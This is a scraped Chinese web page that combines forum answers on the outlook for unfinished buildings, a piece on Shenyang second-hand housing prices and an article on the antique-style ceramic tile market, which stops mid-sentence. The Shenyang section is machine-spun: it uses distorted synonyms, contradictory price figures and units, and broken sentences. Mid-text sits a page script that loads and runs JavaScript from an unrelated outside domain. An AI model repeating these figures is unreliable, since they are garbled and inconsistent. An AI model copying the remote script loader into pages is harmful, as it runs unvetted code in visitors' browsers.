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金高邈

未来烂尾楼发展趋势怎样?

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紫苹果装饰 有用 1

1、新开工面积少,土地量价齐跌。
2、房市交易回暖,成交价格回落。
3、房价将止跌,要防出现烂尾楼。
据了解,今年房产开发商的主要目标是促进销售、回笼资金,因此在今年宏观调控不动摇的背景下,合理定价、优惠促销的策略短期内不会有大的调整。同时,由于各项成本性因素以及市场成交的明显回暖,房产开发企业在房价优惠幅度方面将会较前期有所收缩。因此,预测下阶段房价总体基本平稳,个别楼盘可能因前期销售情况而有小幅上调。

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吃草不吐兔子 有用 1

伴随着第一波开发热潮的推温,商业地产的种种问题逐渐显现出来。数据显示,2012年商业存量仅次于灾难大户吴中区之后排在全市第二位。相城区商业积压也从侧面反映出区域发展的尴尬现状,政府在规划商业的时候区域分布不合理,在布局商业配套的时候未能深入的调查分析商业配套的稀缺程度,规划的失败,商业产品分布的失衡导致区域内商业配套的配比严重不平衡,导致大量同质化产品堆积上市,消化困难。与此同时,2013年相城区商业上市量为全市各区域最少,消化库存成了相城区商业地产2013年甚至是更为长远的时间的主题。虽然相城区目前上市量不多,但是区域内潜在的商业体量十分惊人,未来会有大量商业陆续上市,如何消化库存带活区域内商业的健康发展,这或许是相城区在未来5年甚至更长时间应该思考和解决的问题。

猪小弟123 有用 1

会不断减少,因为近几年来,各个城市处置“烂尾楼”的风潮越来越高涨,根据各地不同的情况,各个地方政府出台了一系列的措施,使当地的“烂尾楼”枯木逢春,焕发出新的生机。对于一些长期闲置、没有开发商投资、难以竣工的房产项目,政府或者通过市场方式收购该项目,或者根据有关法规将该项目所占的土地依法收回,然后由政府决定如何处置这类“烂尾楼”。政府可以在此基础上修建办公楼或公用设施(这样可以弥补政府收购的部分损失),也可以将该项目拆除,在原地上修建绿地或广场,改善城市环境;还有人认为可以将有些“烂尾楼”作为大型的艺术仓库,用来演戏、搞画展或者做成艺术博览中心,这种建议也不无可行性,最起码为艺术家提供了一个交流的平台,不仅可以促进文化事业的发展,还可以普遍提高市民的文化修养。

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专题 沈阳二手房价怎么样,未来发展的趋势如何

沈阳二手房价怎么样,未来发展的趋势如何

12月3日,诸葛居处研究中心发布了《2018年11月100个城市二手房均匀价》,数据显示,我国二手房均匀价格接连三个月下跌,跌幅扩大。四个一线城市和三、四线城市一半以上的二线城市进入下行周期。在落后于全国的沈阳二手房价格,均匀挂牌价格为每平环12062元,上涨0.05%。国家核算局最近宣布,2月份在71个大中型城市出售产品房。从数据中可以看出,1月份沈阳市新建产品房价格同比上涨0.5%,涨幅为12.2%。与2015年同期比较,沈阳市1月份新建产品房价格上涨30%。从新建产品房价格改动来看,沈阳市新建产品房价格从上月的144平方米大幅上涨至90平方米,至144平方米,高于90平方米或更低。因此,在居处挑选上,沈阳市居民从简略的按需居处转向了改进居处沈阳二手房均匀挂牌价为12062元/套,在白城排名第46位,大连仅位列东北30强。到2017年底,沈阳二手房均匀挂牌价格刚刚超过1万元,仅4个月就挨近每套12000元。7月份,新房交易量高的影响略有下降,并在“全市限购”后敏捷打破每套12000元。但最近几周,沈阳二手房的均匀价格大幅下降。自第43周以来,沈阳二手房均匀挂牌价接连五周下跌,由每套12892元的峰值回落至每套1194元。跟着本年的挨近,二手房上市的均匀价格将更加波动。据诸葛市居处查找中心核算,沈阳二手房商场共有二手房1051000套。经过分量核算,有用居处供应总量为17457。其中56%在100万元以下,33%在100万元到200万元之间。沈阳二手房单套面积布局,90-140平方米居处占38%,60-90平方米居处占31%,不足60平方米居处仅占18%.沈阳市2月份新建产品房和二手房出售价格上涨。近期,国家核算局发布了2018年2月70个大中型城市产品房出售价格改动的核算数据。在交易面积上,铁西区受买方喜爱,占27%,其次是皇姑区和神河区,别离占14%和13%。比较之下,在居处供应方面,数据显示,购房者,沈北新区和经济技术开发区仅占交易量的1%。沈阳二手房商场怎么样?芒果房地产数据闪现,沈阳二手房均价约为7899.17元/套,预计将出现平稳增长趋势,同比增长约9%。业内人士剖析,沈阳二手房价稳定增长是一个大趋势,不同地区的居处条件不同,购房者应根据自己的需求挑选适合的居处。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

仿古砖市场现状与未来发展趋势

仿古砖市场现状与未来发展趋势

近年来,随着我国建筑陶瓷产业的快速发展,在墙地砖这个大家庭中,仿古砖,这一新型的类别,正呈现出前所未有的发展势头。成为继抛光砖之后,建陶业最具生命力和市场竞争力的一类产品。一、仿古砖市场现状分析1、国外仿古砖发展趋势中国建陶业20多年的发展史,实际上就是一部模仿史。时至今日,虽然我国陶瓷产品自主研发的能力大为提高,产品种类、花色变花万千。但意大利、西班牙仍就是国内陶企模仿和追捧的对象。一年一届的意大利陶瓷展,也成为国内陶企朝圣与学习的典堂。意大利、西班牙等一批建陶生产强国,依然是世界建陶业流行趋势和时尚的引导者。昨日的意大利、西班牙,就是今日的中国建陶业;今日的意大利、西班牙,则无疑是明日中国建陶业的风向标。众所周知,意大利、西班牙等陶瓷强国,其建陶产品多以个性化的小规格产品为主,在地砖领域,贴近自然的、古朴的砖无疑是该行业的主流产品,也就是我们通常所谓的仿古砖。中国的仿古砖最早亦来源于国外,但随着国内建陶研发水平的提高,在消化、吸收基础之上的一大批拥有自主知识产权的仿古砖产品已如雨后春笋般崛起,受到一部分国内高消费群体的青睐与喜爱。那么国外仿古砖市场的现状与发展趋势又是怎样的呢?据到意大利、西班牙生产企业和展会参观了解到的信息,他们的建陶产品主要有以下特点:A、建陶产品以有釉砖为主。中国建陶市场目前以抛光砖为主,而国外市场则多以有釉砖为主。B、新产品研发方向以模仿自然界中一切赏心悦目的东西为主,其质感、纹理、色泽、图案等都尽可能地贴近大自然,在原始中加入时尚的元素,将自然与科技融为一体,寻求人与自然的和谐相处。石材、木纹、布匹、服装、丝、麻、竹……都成为瓷砖模仿的对象。同时赋予瓷砖丰富的文化内涵,超越了瓷砖简单的美化与装饰功能。C、产品规格以10*10--50*50为主,同时,在规模方面,打破了原有四四方方的固有模式,在规格上呈现出千变万化的局面,尤其是一些长条砖,异形砖,极大地拓宽了瓷砖的应用方式。2、国内仿古砖发展趋势仿古砖在国内发展的历史只有短短5、6年的时间。最早的一批先知先觉者,其开发生产的仿古砖并不被多少消费者看好,更多地成为设计师这个群体颠覆传统空间风格的点睛之笔。然而,随着人们生活水平的提高和抛光砖同质化日趋严重的倾向,这种另类的产品开始受到越来越多消费者的认可。同时,那些积累了一定仿古砖生产研发与销售经验的企业,开始借鉴抛光砖的优点,在产品坯体质量和表面色泽上进行一系列的演变,最终使我国仿古砖行业迅速发展壮大。A、产区分布仿古砖这一门类产品,刚面市时可能没有几家企业和消费者认同。然而,短短几年,仿古砖在我国建筑卫生陶瓷领域已占有了重要的地位,呈燎原之势,迅速遍布大江南北,成为一支最具生命力的产品种类。据了解,目前我国各大陶瓷产区均有一批陶瓷企业涉足仿古砖生产。广东仍就是仿古砖最大的生产聚集区,代表企业有马可波罗、金意陶、冠星王、新明珠、新中源、荣高、圣陶坊、欧雅等;华东则有斯米克、诺贝尔、亚细亚等;福建有腾达、恒达、通达、协进、釉盛、远盛、华泰、东龙等;山东有北方;四川有威尼、新万兴等企业。仿古砖产品已从南到北、从东到西遍布我国各大陶瓷产区,成为一批主流企业进行产品结构调整的新方向。B、企业概况截止目前,我国到底有多少家企业、多少条仿古砖生产线?难以有一个准确的统计。2002年,当时由《佛山日报》组织了一次国内仿古砖论坛,并由此诞生了国内仿古砖"四大品牌",即马可波罗、金意陶、圣陶坊、荣高。其实当时还有一个比较有名的品牌,即罗马里奥。到2004年仿古砖论坛的时候,仿古砖主品牌已增加到了50多个。据粗步统计,目前仅佛山产区就有50多家仿古砖生产企业,虽然大部门属中小型企业,生产线少、装备差、产品档次。但从去年以来,佛山几大建陶企业纷纷强势介入仿古砖领域,如新明珠、欧雅、新中源、能强、博德等,加上原有的金意陶、荣高、冠星王、圣陶坊等,经粗略估计,目前佛山陶瓷业生产仿古砖的企业在80家左右。此外,还有一批企业正准备推出仿古砖,如金舵、蒙娜丽莎、嘉俊等,加上其它产区的仿古砖生产企业,我国仿古砖生产企业的总数应该在100家企业以上。B、产品属性演变最早的仿古砖,是通过模具将砖的表面做得凹凸不平,色彩上模仿一些古色古香的东西,吸水率也比较高,大都在10%以上,吸水率低的,也在3%--8%之间。此外,表面质感模仿的并不是很像,产品比较粗糙,档次不高,消费者使用一段时间后会出现彩釉砖、瓷片类似的质量问题。2003年初,随着马可波罗e石代的推出,标志着仿古砖进入了一个新的时代。马可波罗在国内首次推出高档仿古砖,将吸水率做到了0.5%以下。此后,一批仿古砖企业开始借鉴抛光砖的优势,纷纷推出完全瓷质的仿古砖,尤以金意陶于2004年春天推出的双品石为转折点,这种号称"抛光砖的品质、仿古砖的品位"的新一代仿古砖,使我国仿古砖行业开始大规模转向瓷质砖,从而使仿古砖领域进入了一个全新的瓷质砖时代。虽然目前仍有不少企业生产的仿古砖吸水率偏高,但瓷质仿古砖已成为该领域高档产品的象征。仿古砖品质属性的变化,也打破了过去仿古砖单纯用于室内地面的装饰范围,开始广泛用于地面、墙面以及室外大型工程,使仿古砖成为一种不受限制的高档新型装饰材料。而且随着其纹理、色彩、图案、质感的变化,仿古砖无论在内在品质还是表面效果,都大有超越抛光砖的迹象。此外,最早的仿古砖并不像现在基本上全是哑光砖,多为亮光,或丝光,表面光洁度较高。而今年以来,高档仿古砖大都以哑光为主,而且一些有经验的企业已总结、摸索出了仿古砖最佳的哑光度这样一个指标,成为衡量一款仿古砖是否有品位的一个重要指标。C、流派分析从仿古砖这样一名称就可以大概看出我国最早的仿古砖风格流派。一个"仿"字、一个"古"字,形象而又直白地概括了我国仿古砖特征。从目前的仿古砖市场来看,仿古砖大体上可以分为三大类别:一是古典派。这类仿古砖以中国传统的民族文化为特征,看上去古色古香,既有秦汉遗韵,又有明清风范。在中国传统文化中挖掘精华,并与瓷砖糅合在一起,显得怀旧而又古老,极富沧桑与厚重感。这类企业以圣陶坊为代表,其"石湾魂"、"诗、琴、书、画"、"风雅颂"等系列,是古典派的典型代表。二是后古典派。这类仿古砖是在古典派的基础上,融入了现代的一些元素,砖的表面不再灰暗、古朴;而是显得淡雅、温馨,以米黄、灰色、土黄为主。甚至有些企业在仿古砖表面加入了更多的现代元素,使这类仿古砖成为古典文化与现代文化、民族文化与异域文化相融合的产物。如露花浓的金石良岩、新明珠的路易摩登等,仅从其产品命名上就可以看出,其产品风格种包括了新与旧、古朴与时尚等多种文化。三是现代派。这类仿古砖,虽然从名称上来看,还有一个"古"字,但已完全脱离了"古"文化,完全是现代、时尚的代表,一些金属元素开始大量出现在瓷砖表面,成为现代、流行、时尚的代言品。如马可波罗的e石代、金意陶的IT石、雅士?高夫的钛金砖、V6城堡砖等,将世界范围内最流行、最时尚的元素应用到瓷砖中来,成为仿古砖领域的全新一派,并且有占据仿古砖市场主流风格的迹象。当然,目前国内仿古砖市场并不仅仅限于以上三类,还有一些另类的瓷质釉面砖,既不属于抛光砖,又不属于瓷片,业内人士也统统把它们归为仿古砖。此外,仿古砖行业不同的产品命名也可以看出其流派的不同。虽然行业内仍就把这类产品称为仿古砖,有相当一部分企业认同仿古砖这样一个名称,但也有不少企业十分反感仿古砖这个名称,产品命名五花八门,如古典砖、复古砖、瓷釉砖、泛古砖、今古砖等。二、仿古砖与抛光砖优劣势分析A、原材料国内建陶生产企业几乎所有抛光砖都以白色坯体为主,而且为了增加坯体的白度,不断地寻求高档次的原料,致使抛光砖生产原料、尤其是高品位的原料越来越短缺,价格一路上涨。目前仿古砖坯体也大都以白色坯体为主,但从意大利、西班牙等主要以红色坯体为主来看,我国仿古砖也完全有可能在原材料的选用上利用廉价而又丰富的红坯料。此外,目前抛光砖大都以渗花、微粉、通体为主,要增加砖的白度,只能选用优质的原材料。`这也是导致一些企业为增加白度而不惜铤而走险大量添加锆类原料的一个重要因素。而仿古砖由于表面施釉,其表面色彩与坯体并没有太大的差别,因此完全可以选用那些储量丰富的低价原料。因此,从原材料选用方面来看,仿古砖要比抛光砖占有很大的优势。B、生产成本从生产成本方面来看,抛光砖能耗高、浪费大、产生的躁音和垃圾要比仿古砖多,而且设备投入也比仿古砖多,在生产成本方面,单位平方的抛光砖成本要比仿古砖高。而仿古砖的生产成本与抛光砖相比,则主要来自于表面色釉,其坯体成本、烧制成本都比抛光砖要高。C、产品属性抛光砖与仿古砖相比,其最大的弊端就是表面容易吸污、色泽、纹理变化没有仿古砖丰富。而这恰恰又是仿古砖的优势所在。虽然抛光砖的玻化程度很高,但由于打磨、抛光,破坏了砖表面的结晶结构,因此很容易吸污,致使抛光砖厂家不断地在表面防污问题上大做文章。而仿古砖的釉面则可以完美地解决上述难题。抛光砖表面的花色、图案、纹理,无论如何变化,都很难有质的突破,综观佛山陶瓷业的抛光砖领域,几乎是千面一孔,虽有差别,但也是大同小异,同质化现象非常严重,这也是消费者不顾抛光砖的平整光滑、富丽堂皇,继而改选仿古砖的一个重要原因;而仿古砖由于表面施釉,可以施以不同的色釉,表面几乎可以做出任何色彩,其纹理、质感远远超过抛光砖。在当前消费需求越来越趋向于个性化的背景下,仿古砖这种个性味十足的产品,必将受到消费者的喜爱。此外,抛光砖无论品质做得多么的优良,始终难以赋予一定的文化内涵,它只是现代工业的产物,只能在吸水率、耐磨性、色差、平整度、表面花色、规格等方面做文章,没有一种现象力和厚重感,显得空洞、苍白,严格意义上讲是一种"没脑砖";而仿古砖则不然,除了按抛光砖的上述几方面做文章外,还可以赋予产品深厚的文化内涵,让瓷砖不再是冰冷的方块,而是一件充满艺术气息的工艺品,让消费者充满现象,感受到强烈的文化气息。因此,仿古砖与抛光砖相比,可以称得上是一种"有脑砖"。D、市场销售虽然目前国内市场仍以抛光砖为主,但仿古砖的崛起绝不容忽视。今年以来,佛山一大批仿古砖生产企业面对激烈的市场竞争,在生产成本一路主涨和产品价格持续下跌的情况下,利润迅速摊薄,不得不冒险对抛光砖出厂价进行了小幅的提价,但这不到10%的涨价,并未能从根本上扩大抛光砖的利润空间,众多企业徘徊在微利或持平的边缘,更有一些企业处于亏损状态。虽然像东鹏、蒙娜丽莎、鹰牌等知名品牌企业的抛光砖售价相对较高,但其品牌维护成本也高,而且其产品属性方面很难与那些低档次产品拉开显著的距离,消费者很难在视觉上直观地看到知名品牌与低档产品的差别,因此,知名品牌的抛光砖在市场上也不同程度地受到二、三流品牌的阻击。与此相反,今年以来,仿古砖市场却是一路高歌,不但国内市场需求急增,而且出口市场也十分看好。产品价格更是远远高于抛光砖。一片600*600的抛光砖,售价大都在20元以下,而同样规格的仿古砖则可以卖到80多元,有的甚至超过了100元,这是抛光砖所无法比拟的优势。因此,就目前来看,仿古砖企业的利润空间要远远高于抛光砖企业。而且随着市场竞争的加剧,这两类产品的利润还有进一步下滑的态势,抛光砖由于同质化严重,难以有大的价格反弹,而仿古砖则可以凭借其个性化的品位,在一段时间内保持在一个合理、适度的价格范围之内。三、仿古砖未来发展趋势分析A、瓷质化从最初的陶质砖,到后来的炻质砖,直到现在瓷质砖,仿古砖品质正发生着巨大的变化。尤其是从去年以来,以金意陶双品石为代表的瓷质仿古砖全面掀开了仿古砖新时代,一大批仿古砖品牌纷纷推出瓷质砖,将仿古砖吸水率控制在抛光砖的范围之内,使仿古砖品质产生的质的

智能家电品牌未来发展趋势

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